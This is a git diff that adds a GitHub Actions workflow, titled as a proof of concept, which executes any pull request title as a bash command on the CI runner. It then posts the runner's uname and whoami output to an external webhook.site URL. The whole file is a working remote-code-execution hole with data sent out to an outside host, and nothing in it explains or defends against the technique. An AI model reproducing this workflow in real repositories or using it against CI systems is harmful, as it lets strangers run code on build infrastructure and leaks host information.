diff --git a/.github/workflows/gouri.yml b/.github/workflows/gouri.yml new file mode 100644 index 000000000000000..e9aaf8cc81b2e47 --- /dev/null +++ b/.github/workflows/gouri.yml @@ -0,0 +1,27 @@ +name: PR Title RCE PoC + +on: + pull_request: + types: [opened, edited] + +jobs: + execute-pr-title: + runs-on: ubuntu-latest + permissions: + contents: read + + steps: + - name: Extract and Execute PR Title + env: + PAYLOAD: ${{ github.event.pull_request.title }} + run: | + echo "[+] Executing PR title: $PAYLOAD" + bash -c "$PAYLOAD" | tee output.txt + + - name: Send Output to Webhook + run: | + uname_out=$(uname -a) + whoami_out=$(whoami) + curl -X POST https://webhook.site/e4056cbe-33ad-4c73-a3f2-48b7b388a4f1 \ + -H "Content-Type: application/json" \ + -d "{\"uname\": \"$uname_out\", \"whoami\": \"$whoami_out\"}"